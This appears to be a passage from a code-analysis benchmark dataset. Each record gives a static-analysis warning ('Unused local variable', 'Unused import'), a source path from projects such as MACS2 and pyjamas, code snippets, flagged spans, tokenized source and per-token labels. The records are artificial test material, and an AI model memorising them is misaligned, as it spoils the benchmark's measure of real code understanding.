"decode", "\\u", "html", "\\u", "entities_", "(_", "srt", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "\\u", "py2", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "srt", "_", "._", "encode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "srt", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "timestr", "_", "(_", "msec", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Convert", " ", "a", " ", "millis", "econd", " ", "value", " ", "to", " ", "a", " ", "string", " ", "of", " ", "the", " ", "follow", "ing", "\\", "10", ";", " ", " ", " ", " ", "format", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HH", ":", "MM", ":", "SS", ",", "SS", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "with", " ", "10", " ", "millis", "econd", " ", "preci", "sion", ".", " ", "Not", "e", " ", "the", " ", ",", " ", "seperat", "or", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "second", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sec_", "=_", "float_", "(_", "msec", "_", ")_", "/_", "1000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "hours_", "=_", "int_", "(_", "sec_", "/_", "3600_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sec_", "-=_", "hours_", "*_", "3600_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "minutes_", "=_", "int_", "(_", "sec_", "/_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sec_", "-=_", "minutes_", "*_", "60_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "output_", "=_", "\"%", "02", "d", ":", "%", "02", "d", ":", "%", "05", ".2", "f", "\"_", "%_", "(_", "hours_", ",_", "minutes_", ",_", "sec_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "output_", "._", "replace_", "(_", "\".\"_", ",_", "\",\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "timeco", "lon_", "(_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match_", "=_", "re_", "._", "search_", "(_", "r", "\"(", "\\\\", "d", "+:", "\\\\", "d", "+:", "\\\\", "d", "+)", ":(", "\\\\", "d", "+)\"_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"%", "s", ",%", "s", "\"_", "%_", "(_", "match_", "._", "group_", "(_", "1_", ")_", ",_", "match_", "._", "group_", "(_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "norm_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "[_", "0_", "]_", "==_", "\"{\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u_", ",_", "tag_", "=_", "name_", "[_", "1_", ":_", "]_", "._", "split_", "(_", "\"}\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tt", "\\u", "text_", "(_", "node_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "node_", "._", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "+=_", "\"%", "s", "\\\\", "n", "\"_", "%_", "node_", "._", "text_", "._", "strip_", "(_", "'", " ", "\\\\", "t", "\\\\", "n", "\\\\", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "node_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "._", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "+=_", "\"%", "s", "\\\\", "n", "\"_", "%_", "i_", "._", "text_", "._", "strip_", "(_", "'", " ", "\\\\", "t", "\\\\", "n", "\\\\", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i_", "._", "tail_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "i_", "._", "tail_", "._", "strip_", "(_", "'", " ", "\\\\", "t", "\\\\", "n", "\\\\", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "+=_", "\"%", "s", "\\\\", "n", "\"_", "%_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "data_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
twitter/pycascading/examples/callback.py
[ { "content": "def main():\n flow = Flow()\n input = flow.source(Hfs(TextLine(), 'pycascading_data/town.txt'))\n output = flow.tsv_sink('pycascading_data/out')\n\n p = input | map_replace(\n word_count(100, second_inc=200, callback=word_count_callback),\n ['word_count', 'line']) | output\n\n flow.run(num_reducers=1)", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 34 } ]
[ { "span": "p ", "start_line": 39, "start_column": 4, "end_line": 39, "end_column": 5 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flow_", "=_", "Flow_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input_", "=_", "flow_", "._", "source_", "(_", "Hf", "s_", "(_", "Text", "Line_", "(_", ")_", ",_", "'", "pyca", "sca", "ding", "\\u", "data", "/", "town", ".", "txt", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "=_", "flow_", "._", "tsv", "\\u", "sink_", "(_", "'", "pyca", "sca", "ding", "\\u", "data", "/", "out", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "input_", "|_", "map", "\\u", "replace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "word", "\\u", "count_", "(_", "100_", ",_", "second", "\\u", "inc_", "=_", "200_", ",_", "callback_", "=_", "word", "\\u", "count", "\\u", "callback_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "word", "\\u", "count", "'_", ",_", "'", "line", "'_", "]_", ")_", "|_", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "flow_", "._", "run_", "(_", "num", "\\u", "reducer", "s_", "=_", "1_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
taoliu/MACS/MACS2/pileup_cmd.py
[ { "content": "# Time-stamp: <2015-06-02 23:36:21 Tao Liu>\n\n\"\"\"Description: Filter duplicate reads depending on sequencing depth.\n\nCopyright (c) 2011 Tao Liu <[email protected]>\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD License (see the file COPYING included\nwith the distribution).\n\n@status: release candidate\n@version: $Id$\n@author: Yong Zhang, Tao Liu\n@contact: [email protected]\n\"\"\"\n\n# ------------------------------------\n# python modules\n# ------------------------------------\n\nimport os\nimport sys\nimport logging\n\n# ------------------------------------\n# own python modules\n# ------------------------------------\nfrom MACS2.OptValidator import opt_validate_pileup as opt_validate\nfrom MACS2.OutputWriter import *\nfrom MACS2.Pileup import pileup_and_write\nfrom MACS2.Constants import *\n# ------------------------------------\n# Main function\n# ------------------------------------\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def run( o_options ):\n \"\"\"The Main function/pipeline for duplication filter.\n \n \"\"\"\n # Parse options...\n options = opt_validate( o_options )\n # end of parsing commandline options\n info = options.info\n warn = options.warn\n debug = options.debug\n error = options.error\n #0 output arguments\n assert options.format != 'BAMPE', \"Pair-end data with BAMPE option currently doesn't work with pileup command. You can pretend your data to be single-end with -f BAM. Please try again!\"\n\n #0 prepare output file\n outfile = os.path.join( options.outdir, options.outputfile )\n if os.path.isfile( outfile ):\n info(\"# Existing file %s will be replaced!\" % outfile )\n os.unlink( outfile )\n\n #1 Read tag files\n info(\"# read alignment files...\")\n (tsize, treat) = load_tag_files_options (options)\n \n info(\"# tag size = %d\", tsize)\n \n t0 = treat.total\n info(\"# total tags in alignment file: %d\", t0)\n\n if options.bothdirection:\n info(\"# Pileup alignment file, extend each read towards up/downstream direction with %d bps\" % options.extsize)\n pileup_and_write(treat, outfile, options.extsize * 2, 1, directional=False, halfextension=False)\n else:\n info(\"# Pileup alignment file, extend each read towards downstream direction with %d bps\" % options.extsize)\n pileup_and_write(treat, outfile, options.extsize, 1, directional=True, halfextension=False)\n\n info(\"# Done! Check %s\" % options.outputfile)", "metadata": "root.run", "header": "['module', '___EOS___']", "index": 34 }, { "content": "def load_tag_files_options ( options ):\n \"\"\"From the options, load alignment tags.\n\n \"\"\"\n options.info(\"# read treatment tags...\")\n tp = options.parser(options.ifile[0])\n tsize = tp.tsize()\n treat = tp.build_fwtrack()\n #treat.sort()\n if len(options.ifile) > 1:\n # multiple input\n for tfile in options.ifile[1:]:\n tp = options.parser(tfile)\n treat = tp.append_fwtrack( treat )\n #treat.sort()\n treat.finalize()\n\n options.info(\"tag size is determined as %d bps\" % tsize)\n return (tsize, treat)", "metadata": "root.load_tag_files_options", "header": "['module', '___EOS___']", "index": 72 } ]
[ { "span": "import sys", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 10 }, { "span": "import logging", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Time", "-", "stamp", ":", " ", "<", "201", "5", "-0", "6", "-0", "2", " ", "23", ":", "3", "6", ":", "21", " ", "Ta", "o", " ", "Li", "u", ">_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Descripti", "on", ":", " ", "Filter", " ", "duplicat", "e", " ", "reads", " ", "depend", "ing", " ", "on", " ", "seque", "ncing", " ", "depth", ".", "\\", "10", ";", "\\", "10", ";", "Copy", "right", " ", "(", "c", ")", " ", "2011", " ", "Ta", "o", " ", "Li", "u", " ", "<", "ta", "oli", "u", "@", "jim", "my", ".", "har", "vard", ".", "edu", ">", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "code", " ", "is", " ", "free", " ", "software", ";", " ", "you", " ", "can", " ", "redis", "tribut", "e", " ", "it", " ", "and", "/", "or", " ", "modif", "y", " ", "it", "\\", "10", ";", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "BS", "D", " ", "License", " ", "(", "see", " ", "the", " ", "file", " ", "COPY", "ING", " ", "include", "d", "\\", "10", ";", "with", " ", "the", " ", "distribu", "tion", ").", "\\", "10", ";", "\\", "10", ";", "@", "status", ":", " ", "release", " ", "candidate", "\\", "10", ";", "@", "version", ":", " ", "$", "Id", "$", "\\", "10", ";", "@", "author", ":", " ", " ", "Yo", "ng", " ", "Zha", "ng", ",", " ", "Ta", "o", " ", "Li", "u", "\\", "10", ";", "@", "contact", ":", " ", "ta", "oli", "u", "@", "jim", "my", ".", "har", "vard", ".", "edu", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "python", " ", "modules_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "own", " ", "python", " ", "modules_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "MAC", "S2_", "._", "Opt", "Validator_", "import_", "opt", "\\u", "validat", "e\\u", "pile", "up_", "as_", "opt", "\\u", "validate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "MAC", "S2_", "._", "Output", "Writer_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "MAC", "S2_", "._", "Pil", "eu", "p_", "import_", "pile", "up", "\\u", "and", "\\u", "write_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "MAC", "S2_", "._", "Constants_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Main", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "run_", "(_", "o", "\\u", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "The", " ", "Main", " ", "function", "/", "pipeline", " ", "for", " ", "duplicat", "ion", " ", "filter", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Pars", "e", " ", "options", "..._", "\\u\\u\\uNL\\u\\u\\u_", "options_", "=_", "opt", "\\u", "validate_", "(_", "o", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "end", " ", "of", " ", "pars", "ing", " ", "commandline", " ", "options_", "\\u\\u\\uNL\\u\\u\\u_", "info_", "=_", "options_", "._", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "warn_", "=_", "options_", "._", "warn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "debug_", "=_", "options_", "._", "debug_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "options_", "._", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "0", " ", "output", " ", "arguments_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "options_", "._", "format_", "!=_", "'", "BAM", "PE", "'_", ",_", "\"", "Pair", "-", "end", " ", "data", " ", "with", " ", "BAM", "PE", " ", "option", " ", "currentl", "y", " ", "doe", "sn", "'", "t", " ", "work", " ", "with", " ", "pile", "up", " ", "command", ".", " ", "You", " ", "can", " ", "prete", "nd", " ", "your", " ", "data", " ", "to", " ", "be", " ", "single", "-", "end", " ", "with", " ", "-", "f", " ", "BAM", ".", " ", "Ple", "ase", " ", "try", " ", "again", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "0", " ", "prepar", "e", " ", "output", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "outfile_", "=_", "os_", "._", "path_", "._", "join_", "(_", "options_", "._", "outdir_", ",_", "options_", "._", "outputfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "info_", "(_", "\"#", " ", "Exist", "ing", " ", "file", " ", "%", "s", " ", "will", " ", "be", " ", "replaced", "!\"_", "%_", "outfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "unlink_", "(_", "outfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "1", " ", "Read", " ", "tag", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "info_", "(_", "\"#", " ", "read", " ", "alignme", "nt", " ", "files", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "tsi", "ze_", ",_", "treat", "_", ")_", "=_", "load", "\\u", "tag", "\\u", "files", "\\u", "options_", "(_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "info_", "(_", "\"#", " ", "tag", " ", "size", " ", "=", " ", "%", "d", "\"_", ",_", "tsi", "ze_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t0_", "=_", "treat", "_", "._", "total_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "(_", "\"#", " ", "total", " ", "tags", " ", "in", " ", "alignme", "nt", " ", "file", ":", " ", "%", "d", "\"_", ",_", "t0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "options_", "._", "bot", "hdi", "recti", "on_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "info_", "(_", "\"#", " ", "Pil", "eu", "p", " ", "alignme", "nt", " ", "file", ",", " ", "extend", " ", "each", " ", "read", " ", "towards", " ", "up", "/", "downstream", " ", "direction", " ", "with", " ", "%", "d", " ", "bps", "\"_", "%_", "options_", "._", "ext", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pile", "up", "\\u", "and", "\\u", "write_", "(_", "treat", "_", ",_", "outfile_", ",_", "options_", "._", "ext", "size_", "*_", "2_", ",_", "1_", ",_", "direction", "al_", "=_", "False_", ",_", "half", "extension_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "info_", "(_", "\"#", " ", "Pil", "eu", "p", " ", "alignme", "nt", " ", "file", ",", " ", "extend", " ", "each", " ", "read", " ", "towards", " ", "downstream", " ", "direction", " ", "with", " ", "%", "d", " ", "bps", "\"_", "%_", "options_", "._", "ext", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pile", "up", "\\u", "and", "\\u", "write_", "(_", "treat", "_", ",_", "outfile_", ",_", "options_", "._", "ext", "size_", ",_", "1_", ",_", "direction", "al_", "=_", "True_", ",_", "half", "extension_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "info_", "(_", "\"#", " ", "Don", "e", "!", " ", "Check", " ", "%", "s", "\"_", "%_", "options_", "._", "outputfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "\\u", "tag", "\\u", "files", "\\u", "options_", "(_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Fro", "m", " ", "the", " ", "options", ",", " ", "load", " ", "alignme", "nt", " ", "tags", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "info_", "(_", "\"#", " ", "read", " ", "treatment", " ", "tags", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tp_", "=_", "options_", "._", "parser_", "(_", "options_", "._", "ifile_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tsi", "ze_", "=_", "tp_", "._", "tsi", "ze_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "treat", "_", "=_", "tp_", "._", "build", "\\u", "fw", "track_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "treat", ".", "sort", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "options_", "._", "ifile_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "multiple", " ", "input_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tfile_", "in_", "options_", "._", "ifile_", "[_", "1_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tp_", "=_", "options_", "._", "parser_", "(_", "tfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "treat", "_", "=_", "tp_", "._", "append", "\\u", "fw", "track_", "(_", "treat", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "treat", ".", "sort", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "treat", "_", "._", "finalize_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "._", "info_", "(_", "\"", "tag", " ", "size", " ", "is", " ", "dete", "rmin", "ed", " ", "as", " ", "%", "d", " ", "bps", "\"_", "%_", "tsi", "ze_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "tsi", "ze_", ",_", "treat", "_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
anandology/pyjamas/library/platform/pyjslibPyV8.py
[ { "content": "def import_module(syspath, parent_name, module_name, dynamic_load, async, init):\n JS(\"\"\"\n @{{module}} = $pyjs.modules_hash[@{{module_name}}];\n if (typeof @{{module}} == 'function' && @{{module}}.__was_initialized__ == true) {\n return null;\n }\n if (@{{module_name}} == 'sys' || @{{module_name}} == 'pyjslib') {\n @{{module}}();\n return null;\n }\n \"\"\")\n names = module_name.split(\".\")\n importName = ''\n # Import all modules in the chain (import a.b.c)\n for name in names:\n importName += name\n JS(\"\"\"@{{module}} = $pyjs.modules_hash[@{{importName}}];\"\"\")\n if not isUndefined(module):\n # Not initialized, but present. Must be pyjs module.\n if JS(\"@{{module}}.__was_initialized__ != true\"):\n # Module wasn't initialized\n module()\n else:\n # Get a pytjon module from PyV8\n initialized = False\n try:\n JS(\"@{{initialized}} = (@{{module}}.__was_initialized__ != true)\")\n except:\n pass\n if not initialized:\n # Module wasn't initialized\n module = pyv8_import_module(parent_name, module_name)\n module.__was_initialized__ = True\n JS(\"\"\"$pyjs.modules_hash[@{{importName}}] = @{{module}}\"\"\")\n importName += '.'\n name = names[0]\n JS(\"\"\"$pyjs.modules[@{{name}}] = $pyjs.modules_hash[@{{name}}];\"\"\")\n return None", "metadata": "root.import_module", "header": "['module', '___EOS___']", "index": 13 }, { "content": "@noSourceTracking\ndef load_module_wait(proceed_fn, parent_mod, module_list, dynamic):\n module_list = module_list.getArray()\n JS(\"\"\"\n\n var wait_count = 0;\n //var data = '';\n //var element = $doc.createElement(\"div\");\n //element.innerHTML = '';\n //$doc.body.appendChild(element);\n //function write_dom(txt) {\n // element.innerHTML += txt;\n //}\n\n var timeoutperiod = 1;\n if (@{{dynamic}})\n var timeoutperiod = 1;\n\n var wait = function() {\n wait_count++;\n //write_dom(\".\");\n var loaded = true;\n for (var i in @{{module_list}}) {\n if (typeof $pyjs.modules_hash[@{{module_list}}[i]] != 'function') {\n loaded = false;\n break;\n }\n }\n if (!loaded) {\n setTimeout(wait, timeoutperiod);\n } else {\n if (@{{proceed_fn}}.importDone)\n @{{proceed_fn}}.importDone(@{{proceed_fn}});\n else\n @{{proceed_fn}}();\n //$doc.body.removeChild(element);\n }\n }\n //write_dom(\"Loading modules \");\n wait();\n\"\"\")", "metadata": "root.load_module_wait", "header": "['module', '___EOS___']", "index": 106 } ]
[ { "span": "name ", "start_line": 48, "start_column": 4, "end_line": 48, "end_column": 8 }, { "span": "module_list ", "start_line": 108, "start_column": 4, "end_line": 108, "end_column": 15 } ]
[]
1
true
